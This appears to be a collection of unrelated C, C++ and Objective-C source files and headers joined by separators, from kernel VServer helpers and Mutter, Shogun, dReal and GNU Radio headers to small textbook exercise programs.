vxi, vxi ? vxi->vx_id : 0, cmd);
ret = vs_reboot_helper(vxi, cmd, arg);
if (ret)
return ret;
vxi->reboot_cmd = cmd;
if (vx_info_flags(vxi, VXF_REBOOT_KILL, 0)) {
switch (cmd) {
case LINUX_REBOOT_CMD_RESTART:
case LINUX_REBOOT_CMD_HALT:
case LINUX_REBOOT_CMD_POWER_OFF:
vx_info_kill(vxi, 0, SIGKILL);
vx_info_kill(vxi, 1, SIGKILL);
default:
break;
}
}
return 0;
}
/*
* argv [0] = vshelper_path;
* argv [1] = action: "startup", "shutdown"
* argv [2] = context identifier
*
* envp [*] = type-specific parameters
*/
long vs_state_change(struct vx_info *vxi, unsigned int cmd)
{
char id_buf[8], cmd_buf[16];
char *argv[] = {vshelper_path, NULL, id_buf, 0};
char *envp[] = {"HOME=/", "TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin", cmd_buf, 0};
if (!vx_info_flags(vxi, VXF_SC_HELPER, 0))
return 0;
snprintf(id_buf, sizeof(id_buf)-1, "%d", vxi->vx_id);
snprintf(cmd_buf, sizeof(cmd_buf)-1, "VS_CMD=%08x", cmd);
switch (cmd) {
case VSC_STARTUP:
argv[1] = "startup";
break;
case VSC_SHUTDOWN:
argv[1] = "shutdown";
break;
default:
return 0;
}
return do_vshelper(vshelper_path, argv, envp, 1);
}
/*
* argv [0] = vshelper_path;
* argv [1] = action: "netup", "netdown"
* argv [2] = context identifier
*
* envp [*] = type-specific parameters
*/
long vs_net_change(struct nx_info *nxi, unsigned int cmd)
{
char id_buf[8], cmd_buf[16];
char *argv[] = {vshelper_path, NULL, id_buf, 0};
char *envp[] = {"HOME=/", "TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin", cmd_buf, 0};
if (!nx_info_flags(nxi, NXF_SC_HELPER, 0))
return 0;
snprintf(id_buf, sizeof(id_buf)-1, "%d", nxi->nx_id);
snprintf(cmd_buf, sizeof(cmd_buf)-1, "VS_CMD=%08x", cmd);
switch (cmd) {
case VSC_NETUP:
argv[1] = "netup";
break;
case VSC_NETDOWN:
argv[1] = "netdown";
break;
default:
return 0;
}
return do_vshelper(vshelper_path, argv, envp, 1);
}
|
/* -*- mode: C; c-file-style: "gnu"; indent-tabs-mode: nil; -*- */
/*
* meta-background.h: CoglTexture for paintnig the system background
*
* Copyright 2013 Red Hat, Inc.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*/
#ifndef META_BACKGROUND_H
#define META_BACKGROUND_H
#include <cogl/cogl.h>
#include <clutter/clutter.h>
#include <meta/gradient.h>
#include <meta/screen.h>
#include <gsettings-desktop-schemas/gdesktop-enums.h>
/**
* MetaBackground:
*
* This class handles loading a background from file, screenshot, or
* color scheme. The resulting object can be associated with one or
* more #MetaBackgroundActor objects to handle loading the background.
*/
#define META_TYPE_BACKGROUND (meta_background_get_type ())
#define META_BACKGROUND(obj) (G_TYPE_CHECK_INSTANCE_CAST ((obj), META_TYPE_BACKGROUND, MetaBackground))
#define META_BACKGROUND_CLASS(klass) (G_TYPE_CHECK_CLASS_CAST ((klass), META_TYPE_BACKGROUND, MetaBackgroundClass))
#define META_IS_BACKGROUND(obj) (G_TYPE_CHECK_INSTANCE_TYPE ((obj), META_TYPE_BACKGROUND))
#define META_IS_BACKGROUND_CLASS(klass) (G_TYPE_CHECK_CLASS_TYPE ((klass), META_TYPE_BACKGROUND))
#define META_BACKGROUND_GET_CLASS(obj) (G_TYPE_INSTANCE_GET_CLASS ((obj), META_TYPE_BACKGROUND, MetaBackgroundClass))
typedef struct _MetaBackground MetaBackground;
typedef struct _MetaBackgroundClass MetaBackgroundClass;
typedef struct _MetaBackgroundPrivate MetaBackgroundPrivate;
/**
* MetaBackgroundEffects:
* @META_BACKGROUND_EFFECTS_NONE: No effect
* @META_BACKGROUND_EFFECTS_VIGNETTE: Vignette
*
* Which effects to enable on the background
*/
typedef enum
{
META_BACKGROUND_EFFECTS_NONE = 0,
META_BACKGROUND_EFFECTS_VIGNETTE = 1 << 1,
} MetaBackgroundEffects;
struct _MetaBackgroundClass
{
/*< private >*/
GObjectClass parent_class;
};
struct _MetaBackground
{
/*< private >*/
GObject parent;
MetaBackgroundPrivate *priv;
};
GType meta_background_get_type (void);
MetaBackground *meta_background_new (MetaScreen *screen,
int monitor,
MetaBackgroundEffects effects);
MetaBackground *meta_background_copy (MetaBackground *self,
int monitor,
MetaBackgroundEffects effects);
void meta_background_load_gradient (MetaBackground *self,
GDesktopBackgroundShading shading_direction,
ClutterColor *color,
ClutterColor *second_color);
void meta_background_load_color (MetaBackground *self,
ClutterColor *color);
void meta_background_load_still_frame (MetaBackground *self);
void meta_background_load_file_async (MetaBackground *self,
const char *filename,
GDesktopBackgroundStyle style,
GCancellable *cancellable,
GAsyncReadyCallback callback,
gpointer user_data);
gboolean meta_background_load_file_finish (MetaBackground *self,
GAsyncResult *result,
GError **error);
const char *meta_background_get_filename (MetaBackground *self);
GDesktopBackgroundStyle meta_background_get_style (MetaBackground *self);
GDesktopBackgroundShading meta_background_get_shading (MetaBackground *self);
const ClutterColor *meta_background_get_color (MetaBackground *self);
const ClutterColor *meta_background_get_second_color (MetaBackground *self);
#endif /* META_BACKGROUND_H */
|
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* Written (W) 2011 Miguel Angel Bautista
* Copyright (C) 2011 Berlin Institute of Technology and Max Planck Society
*/
#ifndef _ATTENUATEDEUCLIDIANDISTANCE_H__
#define _ATTENUATEDEUCLIDIANDISTANCE_H__
#include <shogun/lib/common.h>
#include <shogun/distance/RealDistance.h>
#include <shogun/features/DenseFeatures.h>
namespace shogun
{
/** @brief class AttenuatedEuclidianDistance
*
* The adaptation of the familiar Euclidean Distance, to be used in
* ternary ECOC designs. This adaptation computes the Euclidean distance
* between two vectors ignoring those positions of either of the vectors
* valued as 0. Note that this might make sense only in the Decoding
* step of the ECOC framework, since the 0 value denotes that a certain category is
* ignored.
*
* This distance was proposed by
* S. Escalera, O. Pujol, P.Radeva in On the decoding process in ternary error-correcting output codes,
* Transactions in Pattern Analysis and Machine Intelligence 99 (1).
*
* \f[\displaystyle
* d({\bf x},{\bf x'})= \sqrt{\sum_{i=0}^{n}|x_i||x'_i|{\bf x_i}-{\bf x'_i}|^2}
* \f]
*
*/
class CAttenuatedEuclidianDistance: public CRealDistance
{
public:
/** default constructor */
CAttenuatedEuclidianDistance();
/** constructor
*
* @param l features of left-hand side
* @param r features of right-hand side
*/
CAttenuatedEuclidianDistance(CDenseFeatures<float64_t>* l, CDenseFeatures<float64_t>* r);
virtual ~CAttenuatedEuclidianDistance();
/** init distance
*
* @param l features of left-hand side
* @param r features of right-hand side
* @return if init was successful
*/
virtual bool init(CFeatures* l, CFeatures* r);
/** cleanup distance */
virtual void cleanup();
/** get distance type we are
*
* @return distance type EUCLIDIAN
*/
virtual EDistanceType get_distance_type() { return D_ATTENUATEDEUCLIDIAN; }
/** get feature type the distance can deal with
*
* @return feature type DREAL
*/
inline virtual EFeatureType get_feature_type() { return F_DREAL; }
/** get name of the distance
*
* @return name Euclidian
*/
virtual const char* get_name() const { return "AttenuatedEuclidianDistance"; }
/** disable application of sqrt on matrix computation
* the matrix can then also be named norm squared
*
* @return if application of sqrt is disabled
*/
virtual bool get_disable_sqrt() { return disable_sqrt; };
/** disable application of sqrt on matrix computation
* the matrix can then also be named norm squared
*
* @param state new disable_sqrt
*/
virtual void set_disable_sqrt(bool state) { disable_sqrt=state; };
protected:
/// compute kernel function for features a and b
/// idx_{a,b} denote the index of the feature vectors
/// in the corresponding feature object
virtual float64_t compute(int32_t idx_a, int32_t idx_b);
private:
void init();
protected:
/** if application of sqrt on matrix computation is disabled */
bool disable_sqrt;
};
} // namespace shogun
#endif /* _ATTENUATEDEUCLIDIANDISTANCE_H__ */
|
//
// SBPrefsController.h
//
// Created by Damiano Galassi on 13/05/08.
// Copyright 2008 Damiano Galassi. All rights reserved.
//
#import <Cocoa/Cocoa.h>
@class SBMovieViewController;
@class SBTableView;
@interface SBPrefsController : NSWindowController <NSToolbarDelegate, NSWindowDelegate> {
@private
IBOutlet NSView *generalView, *advancedView, *setsView;
NSPopover *_popover;
SBMovieViewController *_controller;
NSInteger _currentRow;
IBOutlet SBTableView *tableView;
IBOutlet NSButton *removeSet;
}
+ (void)registerUserDefaults;
- (instancetype)init;
- (IBAction)clearRecentSearches:(id) sender;
- (IBAction)deleteCachedMetadata:(id) sender;
- (IBAction)toggleInfoWindow:(id) sender;
- (IBAction)deletePreset:(id) sender;
- (IBAction)updateRatingsCountry:(id)sender;
@end
|
#include <vector>
#include <functional>
#include <cassert>
#include <iostream>
using namespace std;
class Solution {
public:
int * data;
int n_;
inline bool isVisited(int i)const{
//cout<<"isVisited["<<i<<"]"<<" "<<data[i-1]<<endl;
return (i<=0 || i>n_ || data[i-1] == i);
}
void try_visit(int i){
//cout<<"try_visit "<<i<<endl;
int cur = 0;
while(!isVisited(i)){
//cout<<"inner try_visit "<<i<<endl;
int v = data[i-1];
data[i-1] = cur;
if(!isVisited(v)){
cur = i = data[v-1];
data[v-1] = v;
}
else break;
}
}
int firstMissingPositive(int A[], int n) {
data = A;
n_ = n;
for(int i = 1 ; i<= n ; ++i){
try_visit(i);
}
for(int i = 1; i <= n ; i++){
//cout<<" *** "<<i<<" "<<data[i-1]<<endl;
if(!isVisited(i)){
return i;
}
}
return n+1;
}
}; |
/*
* Copyright (C) 2008 Douglas Bagnall
*
* This file is part of Te Tuhi Video Game System, or Te Tuhi for short.
*
* Te Tuhi is free software: you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 of the License, or
* (at your option) any later version.
*
* Te Tuhi is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Te Tuhi. If not, see <http://www.gnu.org/licenses/>.
*
* see the README file in the perceptron directory for information
* about possible future licensing.
*/
#include "libperceptron.h"
/****************** debug****/
void
nn_print_weights(nn_Network_t *net){
int i, j;
int width;
nn_Interlayer_t *il;
for (i = 0; i < net->depth - 1; i++){
il = net->interlayers + i;
width = il->input->outsize;
printf("\n");
for (j = 0; j < il->size; j++){
if (! j % width){
printf("\n");
}
printf(" %.2f,", il->weights[j]);
}
printf("\n");
}
}
void
debug_interlayer(nn_Interlayer_t *il){
debug("interlayer: %p {\n input: %p\n output:%p\n weights: %p\n momentums %p\n "
"input values: %p\n output values: %p\n size: %u\n }\n",
il, il->input, il->output, il->weights, il->momentums,
il->input->values, il->output->values,
il->size);
}
void
debug_network(nn_Network_t *net){
debug("network: %p {\n weights: %p\n nodes:%p\n deltas: %p\n momentums %p\n "
"depth: %d\n input_size: %u\n output_size: %u\n weight_alloc_size: %zu\n "
" node_alloc_size: %zu\n}\n",
net, net->weights, net->nodes, net->deltas, net->momentums,
net->depth, net->layers->insize, net->output->insize,
net->weight_alloc_size, net->node_alloc_size);
#if 1
int i;
for(i = 0; i < min(NN_MAX_LAYERS, net->depth - 1); i++){
debug_interlayer(net->interlayers + i);
}
#endif
}
|
#ifndef _HUNTER_COMPONENT_GLOBAL
#define _HUNTER_COMPONENT_GLOBAL
#include "all_components_types.h"
#define COMPONENT_GLOBAL_ID 15
#define COMPONENT_GLOBAL_ID_MAX 256
typedef struct component_global_t component_global;
struct component_global_t {
char id[COMPONENT_GLOBAL_ID_MAX];
unsigned int set;
};
void* component_global_alloc(void);
void component_global_free(void* handle);
void component_global_set_param(void* handle, unsigned int index, char* value);
void component_global_get_param(void* handle, unsigned int index, char* buffer, int buffer_size);
static const component_type component_global_type = {COMPONENT_GLOBAL_ID, "c_global", {"ID", 0}, {"__undef__", 0}, component_global_alloc, component_global_free, component_global_set_param, component_global_get_param};
#define COMPONENT_GLOBAL_INDEX_ID 0
#endif
|
#include <stdio.h>
#include <f2c.h>
#include "tamura.h"
extern int tatide_(double *C, integer *a, integer *b, integer *c, integer *d,
integer *e, integer *f, double *n, double *p, double *h, double *t, double *o);
int main()
{
long a, b, c, d, e, f;
double n, p, h, t, o;
double C;
// 25 Dec 1999, 01:01:01 AM, EGI at U of Utah, 1300 m ASL
// GMT offset is -7 hrs
a=1999; b=12; c=25; d=1; e=1; f=1; n=-111.827; p=40.759;
h=1300;t=0;o=-7.0;
tatide_(&C, &a, &b, &c, &d, &e, &f, &n, &p, &h, &t, &o);
printf("tatide: %lf\n\n", C);
C = TamEarthTide(a, b, c, d, e, f, n, p, h, t, o);
printf("TamEarthTide: %lf\n\n", C);
}
|
// This file was written by Lukasz Piatkowski
// [piontec -at- the well known google mail]
// and is distributed under GPL v2.0 license
// repo: https://github.com/piontec/esp_rest
#ifndef USERCONFIG_H
#define USERCONFIG_H
#define INTERVAL_S 600
#define SENSORS_READY_WAIT_US 1200000
#define LEDGPIO 12
#define BTNGPIO 13
#define CONF_PORT 21
#define MAX_DHT_READ_RETRY 5
#define DHT_READ_RETRY_DELAY_US 100
#endif
|
/*********************************************************
* From C PROGRAMMING: A MODERN APPROACH, Second Edition *
* By K. N. King *
* Copyright (c) 2008, 1996 W. W. Norton & Company, Inc. *
* All rights reserved. *
* This program may be freely distributed for class use, *
* provided that this copyright notice is retained. *
*********************************************************/
/* prime.c (Chapter 9, page 190) */
/* Tests whether a number is prime */
#include <stdbool.h> /* C99 only */
#include <stdio.h>
bool is_prime(int n)
{
int divisor;
if (n <= 1)
return false;
for (divisor = 2; divisor * divisor <= n; divisor++)
if (n % divisor == 0)
return false;
return true;
}
int main(void)
{
int n;
printf("Enter a number: ");
scanf("%d", &n);
if (is_prime(n))
printf("Prime\n");
else
printf("Not prime\n");
return 0;
}
|
/*********************************************************************
Author: Sicun Gao <sicung@cs.cmu.edu>
dReal -- Copyright (C) 2013 - 2016, the dReal Team
dReal is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
dReal is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with dReal. If not, see <http://www.gnu.org/licenses/>.
*********************************************************************/
#pragma once
#include <vector>
#include <unordered_map>
#include "opensmt/egraph/Egraph.h"
#include "util/box.h"
namespace dreal {
class optimizer {
public:
optimizer(box &, std::vector<Enode*> const &, Egraph &, SMTConfig &);
~optimizer();
bool improve(box &);
void set_domain(box &);
private:
std::vector<Enode*> error_funcs;
std::unordered_map<Enode*, Enode*> plainf; // simpler version for differentiation
box & domain;
Egraph & egraph;
SMTConfig & config;
std::vector<box*> point_trace; // all points that have been moved around by the optimizer
std::vector<box*> holes; // empty spaces found duing the optimization
bool prioritize_me; // this is set to true when optimizer finds a highly likely box
std::vector<Enode*> learned; // learned clauses
private:
bool improve_naive(box &);
void learn(std::vector<Enode*>&); // add learned clauses to an external storage
};
} // namespace dreal
|
#ifndef SGC_H__
#define SGC_H__
#ifdef SUPPORT_GZIP_COMPRESSED
#include "zlib.h"
#define fptr gzFile
#define INPUT_OPEN gzopen
#define INPUT_SEEK gzseek
#define INPUT_CLOSE gzclose
#define INPUT_GETS(str, n, stream) gzgets(stream, str, n)
#else
#define fptr FILE *
#define INPUT_OPEN fopen
#define INPUT_SEEK fseek
#define INPUT_CLOSE fclose
#define INPUT_GETS(str, n, stream) fgets(str, n, stream)
#endif
#endif
|
/*
* This file is part of easyFPGA.
* Copyright 2013-2015 os-cillation GmbH
*
* Author: Johannes Hein <support@os-cillation.de>
*
* easyFPGA is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* easyFPGA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with easyFPGA. If not, see <http://www.gnu.org/licenses/>.
*
*/
#ifndef SDK_UTILS_HARDWARETYPES_H_
#define SDK_UTILS_HARDWARETYPES_H_
/**
* \file src/utils/hardwaretypes.h
*
* \brief Provide important type definitions for hardware programming
*/
/**
* \brief An 8-bit wide variable type with the required semantics of byte operations.
*/
typedef unsigned char byte;
/**
* \brief An own abstraction of signal states.
*/
typedef bool LogicLevel;
/**
* \brief Means "high level" on line or "1"
*/
static const LogicLevel HIGH = true;
/**
* \brief Means "low level" on line or "0"
*/
static const LogicLevel LOW = false;
#include <stdint.h>
/**
* \brief A bit manipulator: sets the bit bitNumber of a byte pointed by bytePointer.
*/
static inline void setBit(byte* const bytePointer, uint8_t bitNumber) {
*(bytePointer) |= (1 << bitNumber);
}
/**
* \brief A bit manipulator: sets the bit bitNumber of a referenced byte.
*/
static inline void setBit(byte &byteReference, uint8_t bitNumber) {
byteReference |= (1 << bitNumber);
}
/**
* \brief Tests if the nth bit of byte bytePointer is set.
*/
static inline bool setBitTest(byte* const bytePointer, uint8_t bitNumber) {
return ((*bytePointer) & (1 << (bitNumber)));
}
/**
* \brief Tests if the nth bit of a referenced byte is set.
*/
static inline bool setBitTest(byte byteReference, uint8_t bitNumber) {
return (byteReference & (1 << (bitNumber)));
}
/**
* \brief A bit manipulator: clears the bit bitNumber of a byte pointed by bytePointer.
*/
static inline void clrBit(byte* const bytePointer, uint8_t bitNumber) {
*(bytePointer) &= ~(1 << (bitNumber));
}
/**
* \brief A bit manipulator: clears the bit bitNumber of a referenced byte.
*/
static inline void clrBit(byte &byteReference, uint8_t bitNumber) {
byteReference &= ~(1 << (bitNumber));
}
#endif // SDK_UTILS_HARDWARETYPES_H_
|
#ifndef __CODEC_H__
#define __CODEC_H__
#include <glib.h>
#include <sys/time.h>
#include <stdbool.h>
#include "str.h"
#include "codeclib.h"
#include "aux.h"
#include "rtplib.h"
#include "timerthread.h"
struct call_media;
struct codec_handler;
struct media_packet;
struct ssrc_hash;
struct sdp_ng_flags;
struct codec_ssrc_handler;
struct rtp_header;
struct stream_params;
struct supp_codec_tracker;
struct rtcp_timer;
struct mqtt_timer;
struct call;
struct codec_store;
struct call_monologue;
struct delay_buffer;
typedef int codec_handler_func(struct codec_handler *, struct media_packet *);
struct codec_handler {
struct rtp_payload_type source_pt; // source_pt.payload_type = hashtable index
struct rtp_payload_type dest_pt;
int dtmf_payload_type;
int real_dtmf_payload_type;
int cn_payload_type;
codec_handler_func *func;
unsigned int passthrough:1;
unsigned int kernelize:1;
unsigned int transcoder:1;
unsigned int pcm_dtmf_detect:1;
struct ssrc_hash *ssrc_hash;
struct codec_handler *input_handler; // == main handler for supp codecs
struct codec_handler *output_handler; // == self, or other PT handler
struct call_media *media;
struct call_media *sink;
#ifdef WITH_TRANSCODING
int (*packet_encoded)(encoder_t *enc, void *u1, void *u2);
int (*packet_decoded)(decoder_t *, AVFrame *, void *, void *);
#endif
// for media playback
struct codec_ssrc_handler *ssrc_handler;
// for DTMF injection
struct codec_handler *dtmf_injector;
struct delay_buffer *delay_buffer;
// stats entry
char *stats_chain;
struct codec_stats *stats_entry;
};
struct codec_packet {
struct timerthread_queue_entry ttq_entry;
str s;
struct rtp_header *rtp;
unsigned long ts;
unsigned int clockrate;
struct ssrc_ctx *ssrc_out;
void (*free_func)(void *);
};
void codecs_init(void);
void codecs_cleanup(void);
void codec_timers_loop(void *);
void rtcp_timer_stop(struct rtcp_timer **);
void codec_timer_callback(struct call *, void (*)(struct call *, void *), void *, uint64_t delay);
void mqtt_timer_stop(struct mqtt_timer **);
void mqtt_timer_start(struct mqtt_timer **mqtp, struct call *call, struct call_media *media);
struct codec_handler *codec_handler_get(struct call_media *, int payload_type, struct call_media *sink);
void codec_handlers_free(struct call_media *);
struct codec_handler *codec_handler_make_playback(const struct rtp_payload_type *src_pt,
const struct rtp_payload_type *dst_pt, unsigned long ts, struct call_media *);
void codec_calc_jitter(struct ssrc_ctx *, unsigned long ts, unsigned int clockrate, const struct timeval *);
void codec_update_all_handlers(struct call_monologue *ml);
void codec_store_cleanup(struct codec_store *cs);
void codec_store_init(struct codec_store *cs, struct call_media *);
void codec_store_populate(struct codec_store *, struct codec_store *, GHashTable *, bool answer_only);
void codec_store_populate_reuse(struct codec_store *, struct codec_store *, GHashTable *, bool answer_only);
void codec_store_add_raw(struct codec_store *cs, struct rtp_payload_type *pt);
void codec_store_strip(struct codec_store *, GQueue *strip, GHashTable *except);
void codec_store_offer(struct codec_store *, GQueue *, struct codec_store *);
void codec_store_check_empty(struct codec_store *, struct codec_store *);
void codec_store_accept(struct codec_store *, GQueue *, struct codec_store *);
int codec_store_accept_one(struct codec_store *, GQueue *, bool accept_any);
void codec_store_track(struct codec_store *, GQueue *);
void codec_store_transcode(struct codec_store *, GQueue *, struct codec_store *);
void codec_store_answer(struct codec_store *dst, struct codec_store *src, struct sdp_ng_flags *flags);
void codec_store_synthesise(struct codec_store *dst, struct codec_store *opposite);
bool codec_store_is_full_answer(const struct codec_store *src, const struct codec_store *dst);
void codec_add_raw_packet(struct media_packet *mp, unsigned int clockrate);
void codec_packet_free(void *);
void payload_type_free(struct rtp_payload_type *p);
struct rtp_payload_type *rtp_payload_type_dup(const struct rtp_payload_type *pt);
// special return value `(void *) 0x1` to signal type mismatch
struct rtp_payload_type *codec_make_payload_type(const str *codec_str, enum media_type);
// handle string allocation
void codec_init_payload_type(struct rtp_payload_type *, enum media_type);
void payload_type_clear(struct rtp_payload_type *p);
#ifdef WITH_TRANSCODING
void ensure_codec_def(struct rtp_payload_type *pt, struct call_media *media);
void codec_handler_free(struct codec_handler **handler);
void codec_handlers_update(struct call_media *receiver, struct call_media *sink, const struct sdp_ng_flags *,
const struct stream_params *);
void codec_add_dtmf_event(struct codec_ssrc_handler *ch, int code, int level, uint64_t ts);
uint64_t codec_last_dtmf_event(struct codec_ssrc_handler *ch);
uint64_t codec_encoder_pts(struct codec_ssrc_handler *ch);
void codec_decoder_skip_pts(struct codec_ssrc_handler *ch, uint64_t);
uint64_t codec_decoder_unskip_pts(struct codec_ssrc_handler *ch);
void codec_tracker_update(struct codec_store *);
void codec_handlers_stop(GQueue *);
#else
INLINE void codec_handlers_update(struct call_media *receiver, struct call_media *sink,
const struct sdp_ng_flags *flags, const struct stream_params *sp) { }
INLINE void codec_handler_free(struct codec_handler **handler) { }
INLINE void codec_tracker_update(struct codec_store *cs) { }
INLINE void codec_handlers_stop(GQueue *q) { }
INLINE void ensure_codec_def(struct rtp_payload_type *pt, struct call_media *media) { }
#endif
#endif
|
#ifndef FUNCTIONSLINUX_H
#define FUNCTIONSLINUX_H
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <string>
#include <vector>
#include <iostream>
#include <fstream>
#include <sys/types.h>
#include <unistd.h>
#include <dirent.h>
using namespace std;
void HighLight();
void ClearColor();
void ClearFile();
vector<string> GetFile(const char * path,const char * grep);
vector<string> GetDir(const char *path);
bool existdir(const char *path);
string GetName();
string GetUserName();
string GetJudgerc();
bool STRCMP(char *str);
bool PrinttoTerminal(string &x);
string BaseName(string &x);
#endif
|
/* -*- c++ -*- */
/*
* Copyright 2014 Analog Devices Inc.
* Author: Paul Cercueil <paul.cercueil@analog.com>
*
* SPDX-License-Identifier: GPL-3.0-or-later
*
*/
#ifndef INCLUDED_IIO_FMCOMMS2_SOURCE_IMPL_H
#define INCLUDED_IIO_FMCOMMS2_SOURCE_IMPL_H
#include "device_source_impl.h"
#include <gnuradio/iio/fmcomms2_source.h>
#include <string>
#include <thread>
#include <vector>
#include <volk/volk_alloc.hh>
namespace gr {
namespace iio {
template <typename T>
class fmcomms2_source_impl : public fmcomms2_source<T>, public device_source_impl
{
private:
std::vector<std::string>
get_channels_vector(bool ch1_en, bool ch2_en, bool ch3_en, bool ch4_en);
std::vector<std::string> get_channels_vector(const std::vector<bool>& ch_en);
std::thread overflow_thd;
void check_overflow(void);
const static int s_initial_device_buf_size = 8192;
std::vector<volk::vector<short>> d_device_bufs;
gr_vector_void_star d_device_item_ptrs;
volk::vector<float> d_float_rvec;
volk::vector<float> d_float_ivec;
int work(int noutput_items,
gr_vector_const_void_star& input_items,
gr_vector_void_star& output_items);
public:
fmcomms2_source_impl(iio_context* ctx,
const std::vector<bool>& ch_en,
unsigned long buffer_size);
~fmcomms2_source_impl();
virtual void set_len_tag_key(const std::string& len_tag_key);
virtual void set_frequency(unsigned long long frequency);
virtual void set_samplerate(unsigned long samplerate);
virtual void set_gain_mode(size_t chan, const std::string& mode);
virtual void set_gain(size_t chan, double gain_value);
virtual void set_quadrature(bool quadrature);
virtual void set_rfdc(bool rfdc);
virtual void set_bbdc(bool bbdc);
virtual void set_filter_params(const std::string& filter_source,
const std::string& filter_filename,
float fpass,
float fstop);
protected:
void update_dependent_params();
unsigned long long d_frequency = 2400000000;
unsigned long d_samplerate = 1000000;
unsigned long d_bandwidth = 20000000;
bool d_quadrature = true;
bool d_rfdc = true;
bool d_bbdc = true;
std::vector<std::string> d_gain_mode = {
"manual", "manual", "manual", "manual"
}; // TODO - make these enums
std::vector<double> d_gain_value = { 0, 0, 0, 0 };
std::string d_rf_port_select = "A_BALANCED";
std::string d_filter_source = "Auto";
std::string d_filter_filename = "";
float d_fpass = (float)d_samplerate / 4.0;
float d_fstop = (float)d_samplerate / 3.0;
};
} // namespace iio
} // namespace gr
#endif /* INCLUDED_IIO_FMCOMMS2_SOURCE_IMPL_H */
|
/*
* 计算牌盒中牌数量的程序
* 本代码使用"拉斯维加斯许可证"
* (c) 2016, 广达21点扑克游戏小组
*/
#include <stdio.h>
int main(int argc, char const *argv[])
{
int decks;
puts("输入有几副牌");
scanf("%i", &decks);
if (decks < 1)
{
puts("无效的副数");
return 1;
}
printf("一共有%i张牌\n", (decks * 52));
return 0;
} |
/*
* Reverse name from stdin.
* This is free and unencumbered software released into the public domain.
*/
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include "stack.h"
int main()
{
stack *s = mkstack();
char c, *p;
while ((c = getchar()) != EOF) {
p = malloc(sizeof(char *));
*p = isspace(c) ? 32 : c;
stack_push(s, p);
}
while (!stack_empty(s) && *(char *) stack_top(s) == 32) {
p = stack_pop(s);
free(p);
}
c = 32;
while (!stack_empty(s)) {
p = stack_pop(s);
putchar(c == 32 ? toupper(c = *p) : tolower(c = *p));
free(p);
}
putchar(10);
return 0;
}
|
///////////////////////////////////////////////////////////////////////////////
//
// Copyright (2013) Alexander Stukowski
//
// This file is part of OVITO (Open Visualization Tool).
//
// OVITO is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// OVITO is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
//
///////////////////////////////////////////////////////////////////////////////
#ifndef __OVITO_ANIMATION_FRAMES_TOOL_BUTTON_H
#define __OVITO_ANIMATION_FRAMES_TOOL_BUTTON_H
#include <core/Core.h>
#include <core/animation/AnimationSettings.h>
#include <core/dataset/DataSetContainer.h>
namespace Ovito { OVITO_BEGIN_INLINE_NAMESPACE(Gui) OVITO_BEGIN_INLINE_NAMESPACE(Internal)
/**
* A combo-box widget that allows to select the current animation frame.
*/
class AnimationFramesToolButton : public QToolButton
{
Q_OBJECT
public:
/// Constructs the widget.
AnimationFramesToolButton(DataSetContainer& datasetContainer, QWidget* parent = 0) : QToolButton(parent), _datasetContainer(datasetContainer) {
setIcon(QIcon(QString(":/core/actions/animation/named_frames.png")));
setToolTip(tr("Jump to animation frame"));
setFocusPolicy(Qt::NoFocus);
connect(this, &QToolButton::clicked, this, &AnimationFramesToolButton::onClicked);
}
protected Q_SLOTS:
void onClicked() {
QMenu menu;
AnimationSettings* animSettings = _datasetContainer.currentSet()->animationSettings();
int currentFrame = animSettings->time() / animSettings->ticksPerFrame();
for(auto entry = animSettings->namedFrames().cbegin(); entry != animSettings->namedFrames().cend(); ++entry) {
QAction* action = menu.addAction(entry.value());
action->setCheckable(true);
action->setData(entry.key());
if(currentFrame == entry.key()) {
action->setChecked(true);
menu.setActiveAction(action);
}
}
if(animSettings->namedFrames().isEmpty()) {
QAction* action = menu.addAction(tr("No animation frames loaded"));
action->setEnabled(false);
}
connect(&menu, &QMenu::triggered, this, &AnimationFramesToolButton::onActionTriggered);
menu.exec(mapToGlobal(QPoint(0, 0)));
}
void onActionTriggered(QAction* action) {
if(action->data().isValid()) {
int frameIndex = action->data().value<int>();
AnimationSettings* animSettings = _datasetContainer.currentSet()->animationSettings();
animSettings->setTime(animSettings->frameToTime(frameIndex));
}
}
private:
DataSetContainer& _datasetContainer;
};
OVITO_END_INLINE_NAMESPACE
OVITO_END_INLINE_NAMESPACE
} // End of namespace
#endif // __OVITO_ANIMATION_FRAMES_TOOL_BUTTON_H
|
/*
* Canvas.h - Base class for drawing patterns on a Section.
*/
